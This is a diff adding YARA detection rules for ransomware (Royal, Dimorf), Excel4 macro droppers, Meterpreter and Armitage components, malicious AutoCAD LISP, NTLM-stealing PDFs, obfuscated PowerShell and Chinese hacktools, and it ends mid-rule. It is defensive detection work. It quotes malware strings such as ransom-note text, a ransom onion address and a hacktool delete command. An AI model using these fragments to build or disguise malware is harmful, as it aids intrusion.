+		author = "Silas Cutler, modfied by Florian Roth"
+		description = "Detection for Royal Ransomware seen Dec 2022"
+		date = "2023-01-03"
+		version = "1.0"
+		hash = "a8384c9e3689eb72fa737b570dbb53b2c3d103c62d46747a96e1e1becf14dfea"
+		DaysofYARA = "3/100"
+
+		id = "f83316f7-b8c4-5907-a38e-80535215e7ef"
+	strings:
+		$x_ext = ".royal_" wide
+		$x_fname = "royal_dll.dll"
+		$s_readme = "README.TXT" wide
+		$s_cli_flag01 = "-networkonly" wide
+		$s_cli_flag02 = "-localonly" wide
+		$x_ransom_msg01 = "If you are reading this, it means that your system were hit by Royal ransomware."
+		$x_ransom_msg02 = "Try Royal today and enter the new era of data security!"
+		$x_onion_site = "http://royal2xthig3ou5hd7zsliqagy6yygk2cdelaxtni2fyad6dpmpxedid.onion/"
+	condition:
+		uint16(0) == 0x5A4D and 
+		( 
+         2 of ($x*) or
+		   5 of them
+		)
+}
+
+rule MAL_PY_Dimorf {
+	meta:
+		author = "Silas Cutler"
+		description = "Detection for Dimorf ransomeware"
+		date = "2023-01-03"
+		version = "1.0"
+		reference = "https://github.com/Ort0x36/Dimorf"
+
+		id = "78b53433-6926-58cd-8ec0-2195af803aab"
+	strings:
+		$func01 = "def find_and_encrypt"
+		$func02 = "def check_os"
+		
+		$comment01 = "checks if the user has permission on the file."
+		$misc01 = "log_dimorf.log"
+		$misc02 = ".dimorf"
+	condition:
+		all of them
+}
diff --git a/yara-Neo23x0/gen_Excel4Macro_Sharpshooter.yar b/yara-Neo23x0/gen_Excel4Macro_Sharpshooter.yar
new file mode 100644
index 0000000..a11e254
--- /dev/null
+++ b/yara-Neo23x0/gen_Excel4Macro_Sharpshooter.yar
@@ -0,0 +1,69 @@
+rule MAL_Sharpshooter_Excel4 {
+   meta:
+      description = "Detects Excel documents weaponized with Sharpshooter"
+      author = "John Lambert, Florian Roth"
+      reference = "https://github.com/mdsecactivebreach/SharpShooter"
+      reference2="https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/"
+      reference3 = "https://gist.github.com/JohnLaTwC/efab89650d6fcbb37a4221e4c282614c"
+      reference4 = "https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-xls/00b5dd7d-51ca-4938-b7b7-483fe0e5933b"
+      date = "2020-03-27"
+      score = 70
+      hash="ccef64586d25ffcb2b28affc1f64319b936175c4911e7841a0e28ee6d6d4a02d"
+      id = "a79e3afe-e8f9-5e56-a131-bb1b346df471"
+   strings:
+      $header_docf = { D0 CF 11 E0 }
+      $s1 = "Excel 4.0 Macros"
+      $f1 = "CreateThread" ascii fullword
+      $f2 = "WriteProcessMemory" ascii fullword
+      $f3 = "Kernel32" ascii fullword
+      $concat = { 00 41 6f 00 08 1e ?? 00 41 6f 00 08 1e ?? 00 41 6f 00 08}
+   condition:
+      filesize < 1000KB
+      and $header_docf at 0
+      and #concat > 10
+      and $s1 and 2 of ($f*)
+}
+
+rule SUSP_Excel4Macro_AutoOpen
+{
+    meta:
+        description = "Detects Excel4 macro use with auto open / close"
+        author = "John Lambert @JohnLaTwC"
+        date = "2020-03-26"
+        score = 50
+        hash="2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f"
+        id = "cfed97fe-b330-5528-8402-08c6ba6af04a"
+    strings:
+        $header_docf = { D0 CF 11 E0 }
+        $s1 = "Excel" fullword
+
+        // 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
+        // ' 0018     23 LABEL : Cell Value, String Constant - build-in-name 1 Auto_Open
+        // 00002d80:
+        // 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a 01 00 16 00 07 00
+
+        // f4c01e26eb88b72d38be3d6331fafe03b1ae53fdbff57d610173ed797fa26e73
+        // 00003460: 00 00 18 00 17 00 20 00 00 01 07 00 00 00 00 00  ...... .........
+        // 00003470: 00 00 00 00 00 01 3a 00 00 3f 02 8d 00 c1 01 08  ......:..?......
+
+        // ccef64586d25ffcb2b28affc1f64319b936175c4911e7841a0e28ee6d6d4a02d
+        // ' 0018     23 LABEL : Cell Value, String Constant - build-in-name 1 Auto_Open
+        // 00003560: 00 00 00 00 00 18 00 17 00 aa 03 00 01 07 00 00  ................
+        // 00003570: 00 00 00 00 00 00 00 00 01 3a 00 00 04 00 65 00  .........:....e.
+
+        $Auto_Open  = {18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a }
+        $Auto_Close = {18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a }
+        $Auto_Open1 = {18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a }
+        $Auto_Close1= {18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a }
+
+        // some Excel4 files don't have auto_open names e.g.:
+        // b8b80e9458ff0276c9a37f5b46646936a08b83ce050a14efb93350f47aa7d269
+        // 079be05edcd5793e1e3596cdb5f511324d0bcaf50eb47119236d3cb8defdfa4c
+
+
+    condition:
+        filesize < 3000KB
+        and $header_docf at 0
+        and $s1
+        and any of ($Auto_*)
+}
diff --git a/yara-Neo23x0/gen_ace_with_exe.yar b/yara-Neo23x0/gen_ace_with_exe.yar
new file mode 100644
index 0000000..e39b7c7
--- /dev/null
+++ b/yara-Neo23x0/gen_ace_with_exe.yar
@@ -0,0 +1,22 @@
+
+rule ACE_Containing_EXE {
+    meta:
+        author = "Florian Roth (Nextron Systems) - based on Nick Hoffman' rule - Morphick Inc"
+        description = "Looks for ACE Archives containing an exe/scr file"
+        date = "2015-09-09"
+        score = 50
+        id = "0756f0e7-39f1-572d-a77d-1f7826332360"
+    strings:
+        $header = { 2a 2a 41 43 45 2a 2a }
+        $extensions1 = ".exe" 
+        $extensions2 = ".EXE"
+        $extensions3 = ".scr"
+        $extensions4 = ".SCR"
+    condition:
+        $header at 7 and for
+        any of ($extensions*): (
+            $ in (81..(81+uint16(79)))
+        )
+}
+
+
diff --git a/yara-Neo23x0/gen_anomalies_keyword_combos.yar b/yara-Neo23x0/gen_anomalies_keyword_combos.yar
new file mode 100644
index 0000000..e346ccc
--- /dev/null
+++ b/yara-Neo23x0/gen_anomalies_keyword_combos.yar
@@ -0,0 +1,33 @@
+
+rule SUSP_NullSoftInst_Combo_Oct20_1 {
+   meta:
+      description = "Detects suspicious NullSoft Installer combination with common Copyright strings"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/malwrhunterteam/status/1313023627177193472"
+      date = "2020-10-06"
+      score = 65
+      hash1 = "686b5240e5e503528cc5ac8d764883413a260716dd290f114a60af873ee6a65f"
+      hash2 = "93951379e57e4f159bb62fd7dd563d1ac2f3f23c80ba89f2da2e395b8a647dcf"
+      hash3 = "a9ca1d6a981ccc8d8b144f337c259891a67eb6b85ee41b03699baacf4aae9a78"
+      id = "380f30a6-df6b-50c6-bb2d-b8785564bbac"
+   strings:
+      $a1 = "NullsoftInst" ascii 
+
+      $b1 = "Microsoft Corporation" wide fullword
+      $b2 = "Apache Software Foundation" ascii wide fullword
+      $b3 = "Simon Tatham" wide fullword
+
+      $fp1 = "nsisinstall" fullword ascii
+      $fp2 = "\\REGISTRY\\MACHINE\\Software\\" wide
+      $fp3 = "Apache Tomcat" wide fullword
+      $fp4 = "Bot Framework Emulator" wide fullword
+      $fp5 = "Firefox Helper" wide fullword
+      $fp6 = "Paint.NET Setup" wide fullword
+      $fp7 = "Microsoft .NET Services Installation Utility" wide fullword
+      $fp8 = "License: MPL 2" wide
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 2000KB and
+      $a1 and 1 of ($b*) and 
+      not 1 of ($fp*)
+}
diff --git a/yara-Neo23x0/gen_anydesk_compromised_cert_feb23.yar b/yara-Neo23x0/gen_anydesk_compromised_cert_feb23.yar
new file mode 100644
index 0000000..e0c5394
--- /dev/null
+++ b/yara-Neo23x0/gen_anydesk_compromised_cert_feb23.yar
@@ -0,0 +1,77 @@
+import "pe"
+
+rule PUA_AnyDesk_Compromised_Certificate_Revoked_Jan24 {
+   meta:
+      description = "Detects binaries signed with a compromised signing certificate of AnyDesk (philandro Software GmbH, 0DBF152DEAF0B981A8A938D53F769DB8) after it was revoked. This is not a threat detection. It detects an outdated version of AnyDesk that was signed with a certificate that has been revoked."
+      date = "2024-02-05"
+      author = "Florian Roth"
+      reference = "https://anydesk.com/en/public-statement"
+      score = 50
+      id = "eeefc9a5-1416-544b-b95e-c063000a4028"
+   condition:
+      uint16(0) == 0x5a4d 
+      and for any i in (0 .. pe.number_of_signatures) : (
+         pe.signatures[i].issuer contains "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" and
+         pe.signatures[i].serial == "0d:bf:15:2d:ea:f0:b9:81:a8:a9:38:d5:3f:76:9d:b8"
+      )
+}
+
+rule SUSP_AnyDesk_Compromised_Certificate_Jan24_1 {
+   meta:
+      description = "Detects binaries signed with a compromised signing certificate of AnyDesk that aren't AnyDesk itself (philandro Software GmbH, 0DBF152DEAF0B981A8A938D53F769DB8; strict version)"
+      date = "2024-02-02"
+      author = "Florian Roth"
+      reference = "https://anydesk.com/en/public-statement"
+      score = 75
+      id = "8d172b04-f7f7-54df-b30c-3ee17d3cca12"
+   strings:
+      $a1 = "AnyDesk Software GmbH" wide
+   condition:
+      uint16(0) == 0x5a4d 
+      and not $a1
+      and for any i in (0 .. pe.number_of_signatures) : (
+         pe.signatures[i].issuer contains "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" and
+         pe.signatures[i].serial == "0d:bf:15:2d:ea:f0:b9:81:a8:a9:38:d5:3f:76:9d:b8"
+      )
+}
+
+rule SUSP_AnyDesk_Compromised_Certificate_Jan24_2 {
+   meta:
+      description = "Detects binaries signed with a compromised signing certificate of AnyDesk that aren't AnyDesk itself (philandro Software GmbH, 0DBF152DEAF0B981A8A938D53F769DB8; permissive version)"
+      date = "2024-02-02"
+      author = "Florian Roth"
+      reference = "https://anydesk.com/en/public-statement"
+      score = 65
+      id = "a41af8d8-ebdf-5a2f-8cf5-abd4587bdfc5"
+   strings:
+      $sc1 = { 0D BF 15 2D EA F0 B9 81 A8 A9 38 D5 3F 76 9D B8 }
+      $s2 = "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1"
+
+      $f1 = "AnyDesk Software GmbH" wide
+   condition:
+      uint16(0) == 0x5a4d
+      and filesize < 20000KB
+      and all of ($s*)
+      and not 1 of ($f*)
+}
+
+rule SUSP_AnyDesk_Compromised_Certificate_Jan24_3 {
+   meta:
+      description = "Detects binaries signed with a compromised signing certificate of AnyDesk after it was revoked (philandro Software GmbH, 0DBF152DEAF0B981A8A938D53F769DB8; version that uses dates for validation)"
+      date = "2024-02-02"
+      author = "Florian Roth"
+      reference = "https://anydesk.com/en/public-statement"
+      score = 75
+      id = "9610e61c-25d7-53e8-ba3f-b78b3d108aa3"
+   condition:
+      uint16(0) == 0x5a4d and
+      for any i in (0 .. pe.number_of_signatures) : (
+         pe.signatures[i].issuer contains "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" and
+         pe.signatures[i].serial == "0d:bf:15:2d:ea:f0:b9:81:a8:a9:38:d5:3f:76:9d:b8" and
+         // valid after Monday, January 29, 2024 0:00:00
+         (
+            pe.signatures[i].not_before > 1706486400 // certificate validity starts after it was revoked
+            or pe.timestamp > 1706486400 // PE was created after it was revoked
+         )
+      )
+}
diff --git a/yara-Neo23x0/gen_armitage.yar b/yara-Neo23x0/gen_armitage.yar
new file mode 100644
index 0000000..af07a2d
--- /dev/null
+++ b/yara-Neo23x0/gen_armitage.yar
@@ -0,0 +1,68 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-12-24
+   Identifier: Armitage
+   Reference: Internal Research
+
+   This is a subset of the Armitage rule set included in THOR APT Scanner
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Armitage_msfconsole {
+   meta:
+      description = "Detects Armitage component"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-12-24"
+      modified = "2022-08-18"
+      hash1 = "662ba75c7ed5ac55a898f480ed2555d47d127a2d96424324b02724b3b2c95b6a"
+      id = "9c610cd0-663e-54ea-a0f2-6c044fc45d23"
+   strings:
+      $s1 = "\\umeterpreter\\u >" ascii
+      $s3 = "^meterpreter >" fullword ascii
+      $s11 = "\\umsf\\u>" ascii
+   condition:
+      filesize < 1KB and 2 of them
+}
+
+/* Removed 7 rules */
+
+rule Armitage_MeterpreterSession_Strings {
+   meta:
+      description = "Detects Armitage component"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-12-24"
+      hash1 = "b258b2f12f57ed05d8eafd29e9ecc126ae301ead9944a616b87c240bf1e71f9a"
+      hash2 = "144cb6b1cf52e60f16b45ddf1633132c75de393c2705773b9f67fce334a3c8b8"
+      id = "c49fdb73-1c95-5c63-b039-2fddb77290dc"
+   strings:
+      $s1 = "session.meterpreter_read" fullword ascii
+      $s2 = "sniffer_dump" fullword ascii
+      $s3 = "keyscan_dump" fullword ascii
+      $s4 = "MeterpreterSession.java" fullword ascii
+   condition:
+      filesize < 30KB and 1 of them
+}
+
+rule Armitage_OSX {
+   meta:
+      description = "Detects Armitage component"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-12-24"
+      hash1 = "2680d9900a057d553fcb28d84cdc41c3fc18fd224a88a32ee14c9c1b501a86af"
+      hash2 = "b7b506f38d0553cd2beb4111c7ef383c821f04cee5169fed2ef5d869c9fbfab3"
+      id = "e886e866-c163-56fb-9631-c586e9f23f9e"
+   strings:
+      $x1 = "resources/covertvpn-injector.exe" fullword ascii
+      $s10 = "resources/browserpivot.x64.dll" fullword ascii
+      $s17 = "resources/msfrpcd_new.bat" fullword ascii
+   condition:
+      filesize < 6000KB and 1 of them
+}
diff --git a/yara-Neo23x0/gen_autocad_lsp_malware.yar b/yara-Neo23x0/gen_autocad_lsp_malware.yar
new file mode 100644
index 0000000..d9afba3
--- /dev/null
+++ b/yara-Neo23x0/gen_autocad_lsp_malware.yar
@@ -0,0 +1,52 @@
+rule SUSP_autocad_lsp_malware {
+    meta:
+        description = "Recognizes malicious autocad files written in LISP"
+        author = "John Lambert @JohnLaTwC"
+        date = "2019-02-04"
+        reference1 = "http://cadablog.blogspot.com/2012/06/acadmedrea-malware-autocad-based-virus.html"
+        hash1= "1313398e2f39fcf17225c7e915b92bd74292d427163112d70b82f271359b84d5"
+        hash2= "2382e6908e6b44c0676c537cb8caa239c8938cb01e62a45c7247d40ab7dbf0ad"
+        hash3= "23cf3e7f41a755a45e396e5caa3e753e64655b91fe665808f71aa68718670dc8"
+        hash4= "23f018135afc4890e1e09bef9386e45e2236fc43550383b7888cddbdefbcd950"
+        hash5= "4a8da078a02fc49b7f13cd19d10519b1bf31ed0ab04268f018ad4733918e28ff"
+        hash6= "4cca7b530213ef71b2e69a5b11178b61044f93dc60f4e8e568ddb3bb06749ba2"
+        hash7= "5390271899e1ebf884380f5da7d26dff527d13922d3b3f8a3b5ec9152b9dfa40"
+        hash8= "53ef3029f36a3a2b912a722d64eef04f599f6f683c6dcb31a122ab1c98f38700"
+        hash9= "7f7d78931370fa693cbfa50aadecc09b4ab93917dcde3a653bd67fa6dc274cdc"
+        hash10= "8147cc97b6203c7eccfbd10457eb52527f74180ebae79bf3cb9c9edb582e708c"
+        hash11= "8a3113ceb45725539e4ccef5ea1482c29b2bbe0ce7ede72f59f9949a0e04c5cd"
+        hash12= "a0c77993f84ca8fb3096579088326bc907b003327f5885660ea5ba47e2cbc6de"
+        hash13= "a20ac5e0bfa2ee3cb4092907420c23d1f94a1ed1b59cc3d351e5602d7206178c"
+        hash14= "b201969ed7bf782d01011211b48bfccb9dd41a3a5a7456cdff2167f1e4d1b954"
+        hash15= "b2bac49288329a777e7aa7001e9383eec75719c08f2aa8c278b44fabeb74844f"
+        hash16= "b772dce92319bb48df39db6ab701761bd7645a771fd7f394510d5951695e7e96"
+        hash17= "c116cc4db6f77c580c1c4f8acda537ed04e597739bc83011773dbeb77adf93e3"
+        hash18= "ca1b9026b5d69c0981ca088330180d4865602fc2b514fd838664d3e11eab4468"
+        hash19= "d7a814d677f9f9dd9666dc4f4bb9cca88fa90bdb074e87006e8810eef9a0fb32"
+        hash20= "e4acfb69006b8aecf5801e36e2c69ccfeea2e8cbad4ceda9228d2dae2c8fd023"
+        hash21= "f9d6b894ca907145464058a4e2c78de84bf592609b46f3573bfd9e0029e1c778"
+
+        id = "3a4ac6e1-d7ea-5b9a-a386-9f881fad073b"
+    strings:
+        $s1 = /\(chr\s+\d+\)\s*\(chr\s+\d+\)\s*\(chr\s+\d+\)\s*\(chr\s+\d+\)/    //obfuscation
+        $s2 = /vl\-list\-\>string\s+\'\(\d+\s+\d+\s+\d+\s+\d+\s+\d+\s+/ //obfucation c116cc4db6f77c580c1c4f8acda537ed04e597739bc83011773dbeb77adf93e3
+
+        $m1 = "strcat" nocase fullword
+        $m2 = "write-line" nocase fullword
+        $m3 = "open" nocase fullword
+        $m4 = /acad\w*\.lsp\"/ nocase fullword
+
+
+        $n1 = "vl-registry-write" nocase fullword
+        $n2 = "NOHIDDEN" nocase fullword
+        $n3 = "vlax-create-object " nocase fullword
+
+    condition:
+        filesize < 1MB
+        and uint8(0) == 0x28 
+        and (   
+            1 of ($s*)
+            or all of ($m*)
+            or all of ($n*)
+        )
+} 
diff --git a/yara-Neo23x0/gen_b374k_extra.yar b/yara-Neo23x0/gen_b374k_extra.yar
new file mode 100644
index 0000000..652a867
--- /dev/null
+++ b/yara-Neo23x0/gen_b374k_extra.yar
@@ -0,0 +1,24 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-08-18
+	Identifier: b374k - Back Connect Payload UPX
+*/
+
+rule b374k_back_connect {
+	meta:
+		description = "Detects privilege escalation tool"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Internal Analysis"
+		date = "2016-08-18"
+		score = 80
+		hash1 = "c8e16f71f90bbaaef27ccaabb226b43762ca6f7e34d7d5585ae0eb2d36a4bae5"
+		id = "8612bda2-2576-56c0-a4ba-afbef419ab05"
+	strings:
+		$s1 = "AddAtomACreatePro" fullword ascii
+		$s2 = "shutdow" fullword ascii
+		$s3 = "/config/i386" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 10KB and all of them )
+}
diff --git a/yara-Neo23x0/gen_bad_pdf.yar b/yara-Neo23x0/gen_bad_pdf.yar
new file mode 100644
index 0000000..a59aca9
--- /dev/null
+++ b/yara-Neo23x0/gen_bad_pdf.yar
@@ -0,0 +1,15 @@
+rule SUSP_Bad_PDF {
+   meta:
+      description = "Detects PDF that embeds code to steal NTLM hashes"
+      author = "Florian Roth (Nextron Systems), Markus Neis"
+      reference = "Internal Research"
+      date = "2018-05-03"
+      hash1 = "d8c502da8a2b8d1c67cb5d61428f273e989424f319cfe805541304bdb7b921a8"
+      id = "149cf20c-4cfd-5b07-acc5-06ae25b209b1"
+   strings:
+      $s1 = "         /F (http//" ascii
+      $s2 = "        /F (\\\\\\\\" ascii
+      $s3 = "<</F (\\\\" ascii
+   condition:
+      ( uint32(0) == 0x46445025 or uint32(0) == 0x4450250a ) and 1 of them
+}
diff --git a/yara-Neo23x0/gen_case_anomalies.yar b/yara-Neo23x0/gen_case_anomalies.yar
new file mode 100644
index 0000000..f57e9d7
--- /dev/null
+++ b/yara-Neo23x0/gen_case_anomalies.yar
@@ -0,0 +1,84 @@
+/* This is an extract from THOR's anomaly detection rule set */
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-08-11
+   Identifier: PowerShell Anomalies
+   Reference: https://twitter.com/danielhbohannon/status/905096106924761088
+*/
+
+rule PowerShell_Case_Anomaly {
+   meta:
+      description = "Detects obfuscated PowerShell hacktools"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/danielhbohannon/status/905096106924761088"
+      date = "2017-08-11"
+      modified = "2022-06-12"
+      score = 70
+      id = "41c97d15-c167-5bdd-a8b4-871d14f66fe1"
+   strings:
+      // first detect 'powershell' keyword case insensitive
+      $s1 = "powershell" nocase ascii wide
+      // define the normal cases
+      $sn1 = "powershell" ascii wide
+      $sn2 = "Powershell" ascii wide
+      $sn3 = "PowerShell" ascii wide
+      $sn4 = "POWERSHELL" ascii wide
+      $sn5 = "powerShell" ascii wide
+      $sn6 = "PowerShelL" ascii wide /* PSGet.Resource.psd1 - part of PowerShellGet */
+      $sn7 = "PowershelL" ascii wide /* SCVMM.dll - part of Citrix */
+
+      // PowerShell with \x19\x00\x00
+      $a1 = "wershell -e " nocase wide ascii
+      // expected casing
+      $an1 = "wershell -e " wide ascii
+      $an2 = "werShell -e " wide ascii
+
+      // adding a keyword with a sufficent length and relevancy
+      $k1 = "-noprofile" fullword nocase ascii wide
+      // define normal cases
+      $kn1 = "-noprofile" ascii wide
+      $kn2 = "-NoProfile" ascii wide
+      $kn3 = "-noProfile" ascii wide
+      $kn4 = "-NOPROFILE" ascii wide
+      $kn5 = "-Noprofile" ascii wide
+
+      $fp1 = "Microsoft Code Signing" ascii fullword
+      $fp2 = "Microsoft Corporation" ascii
+      $fp3 = "Microsoft.Azure.Commands.ContainerInstance" wide
+      $fp4 = "# Localized PSGet.Resource.psd1" wide
+   condition:
+      filesize < 800KB and (
+         // find all 'powershell' occurrences and ignore the expected cases
+         ( #s1 > #sn1 + #sn2 + #sn3 + #sn4 + #sn5 + #sn6 + #sn7 ) or
+         ( #a1 > #an1 + #an2 ) or
+         // find all '-noprofile' occurrences and ignore the expected cases
+         ( #k1 > #kn1 + #kn2 + #kn3 + #kn4 + #kn5 )
+      ) and not 1 of ($fp*)
+}
+
+rule WScriptShell_Case_Anomaly {
+   meta:
+      description = "Detects obfuscated wscript.shell commands"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-09-11"
+      modified = "2022-06-09"
+      score = 60
+      id = "d69d932d-1e39-5259-9200-f0227754f49c"
+   strings:
+      // first detect powershell keyword case insensitive
+      $s1 = "WScript.Shell\").Run" nocase ascii wide
+      // define the normal cases
+      $sn1 = "WScript.Shell\").Run" ascii wide
+      $sn2 = "wscript.shell\").run" ascii wide
+      $sn3 = "WSCRIPT.SHELL\").RUN" ascii wide
+      $sn4 = "Wscript.Shell\").Run" ascii wide
+      $sn5 = "WScript.shell\").Run" ascii wide
+   condition:
+      filesize < 3000KB and
+      #s1 > #sn1 + #sn2 + #sn3 + #sn4 + #sn5
+}
diff --git a/yara-Neo23x0/gen_cert_payloads.yar b/yara-Neo23x0/gen_cert_payloads.yar
new file mode 100644
index 0000000..6ecdc6c
--- /dev/null
+++ b/yara-Neo23x0/gen_cert_payloads.yar
@@ -0,0 +1,22 @@
+rule SUSP_certificate_payload {
+   meta:
+      description = "Detects payloads that pretend to be certificates"
+      date = "2018/08/02"
+      author = "Didier Stevens, Florian Roth"
+      reference = "https://blog.nviso.be/2018/08/02/powershell-inside-a-certificate-part-3/"
+      score = 50
+      id = "6f1fe410-591a-5a59-a683-67cad9777dfe"
+   strings:
+      $re1 = "-----BEGIN CERTIFICATE-----"
+
+      $fp1 = "replace it with the PEM-encoded root certificate"
+   condition:
+      uint32(0) == 0x2D2D2D2D
+      and $re1 at 0
+      /* not 'M' at position 29, which is after the BEGIN CERTIFICATE header plus line break */
+      /* \r\n */
+      and not uint8(29) == 0x4D
+      /* \n */
+      and not uint8(28) == 0x4D
+      and not 1 of ($fp*)
+}
diff --git a/yara-Neo23x0/gen_chaos_payload.yar b/yara-Neo23x0/gen_chaos_payload.yar
new file mode 100644
index 0000000..be1c22f
--- /dev/null
+++ b/yara-Neo23x0/gen_chaos_payload.yar
@@ -0,0 +1,26 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-07-15
+   Identifier: CHAOS
+   Reference: https://github.com/tiagorlampert/CHAOS
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule CHAOS_Payload {
+   meta:
+      description = "Detects a CHAOS back connect payload"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/tiagorlampert/CHAOS"
+      date = "2017-07-15"
+      score = 80
+      hash1 = "0962fcfcb1b52df148720c2112b036e75755f09279e3ebfce1636739af9b4448"
+      hash2 = "5c3553345f824b7b6de09ccb67d834e428b8df17443d98816471ca28f5a11424"
+      id = "5057bc68-9bf8-54b4-88a1-d0c0cba62fa0"
+   strings:
+      $x1 = { 2F 43 48 41 4F 53 00 02 73 79 6E 63 2F 61 74 6F 6D 69 63 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 15000KB and all of them )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/gen_cmd_script_obfuscated.yar b/yara-Neo23x0/gen_cmd_script_obfuscated.yar
new file mode 100644
index 0000000..947a9b4
--- /dev/null
+++ b/yara-Neo23x0/gen_cmd_script_obfuscated.yar
@@ -0,0 +1,18 @@
+
+rule MAL_CMD_Script_Obfuscated_Feb19_1 {
+   meta:
+      description = "Detects obfuscated batch script using env variable sub-strings"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/DbgShell/status/1101076457189793793"
+      date = "2019-03-01"
+      hash1 = "deed88c554c8f9bef4078e9f0c85323c645a52052671b94de039b438a8cff382"
+      id = "8cc99ff5-968c-5b12-9aac-72279c1b8a6b"
+   strings:
+      $h1 = { 40 65 63 68 6F 20 6F 66 66 0D 0A 73 65 74 20 }
+      $s1 = { 2C 31 25 0D 0A 65 63 68 6F 20 25 25 }
+   condition:
+      uint16(0) == 0x6540 and filesize < 200KB and
+      $h1 at 0 and
+      uint16(filesize-3) == 0x0d25 and uint8(filesize-1) == 0x0a and
+      $s1 in (filesize-200..filesize)
+}
diff --git a/yara-Neo23x0/gen_cn_hacktool_scripts.yar b/yara-Neo23x0/gen_cn_hacktool_scripts.yar
new file mode 100644
index 0000000..3ef6732
--- /dev/null
+++ b/yara-Neo23x0/gen_cn_hacktool_scripts.yar
@@ -0,0 +1,145 @@
+/*
+    Yara Rule Set
+    Author: Florian Roth
+    Date: 2015-06-13
+    Identifier: CN-Tools Scripts
+    Reference: Diclosed hacktool set at http://w2op.us/ (Mirror: http://tools.zjqhr.com) 
+*/
+
+
+rule CN_Tools_xbat {
+    meta:
+        description = "Chinese Hacktool Set - file xbat.vbs"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "a7005acda381a09803b860f04d4cae3fdb65d594"
+        id = "5b2f0d2e-a7fb-5f5a-94a9-28e851c9756e"
+    strings:
+        $s0 = "ws.run \"srss.bat /start\",0 " fullword ascii 
+        $s1 = "Set ws = Wscript.CreateObject(\"Wscript.Shell\")" fullword ascii 
+    condition:
+        uint16(0) == 0x6553 and filesize < 0KB and all of them
+}
+
+rule CN_Tools_Temp {
+    meta:
+        description = "Chinese Hacktool Set - file Temp.war"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "c3327ef63b0ed64c4906e9940ef877c76ebaff58"
+        id = "4fbaabd0-fbf2-56a0-94af-9deba1e7cc81"
+    strings:
+        $s0 = "META-INF/context.xml<?xml version=\"1.0\" encoding=\"UTF-8\"?>" fullword ascii 
+        $s1 = "browser.jsp" fullword ascii 
+        $s3 = "cmd.jsp" fullword ascii
+        $s4 = "index.jsp" fullword ascii
+    condition:
+        uint16(0) == 0x4b50 and filesize < 203KB and all of them
+}
+
+rule CN_Tools_srss {
+    meta:
+        description = "Chinese Hacktool Set - file srss.bat"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "092ab0797947692a247fe80b100fb4df0f9c37a0"
+        id = "13191e2e-fbcd-5e0b-af55-cc10f2583c1b"
+    strings:
+        $s0 = "srss.exe -idx 0 -ip"
+        $s1 = "-port 21 -logfilter \"_USER ,_P" ascii 
+    condition:
+        filesize < 100 and all of them
+}
+
+rule dll_UnReg {
+    meta:
+        description = "Chinese Hacktool Set - file UnReg.bat"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "d5e24ba86781c332d0c99dea62f42b14e893d17e"
+        id = "5c14486d-72a2-5a18-9db0-ce0ab61fdce7"
+    strings:
+        $s0 = "regsvr32.exe /u C:\\windows\\system32\\PacketX.dll" fullword ascii 
+        $s1 = "del /F /Q C:\\windows\\system32\\PacketX.dll" fullword ascii 
+    condition:
+        filesize < 1KB and 1 of them
+}
+
+rule dll_Reg {
+    meta:
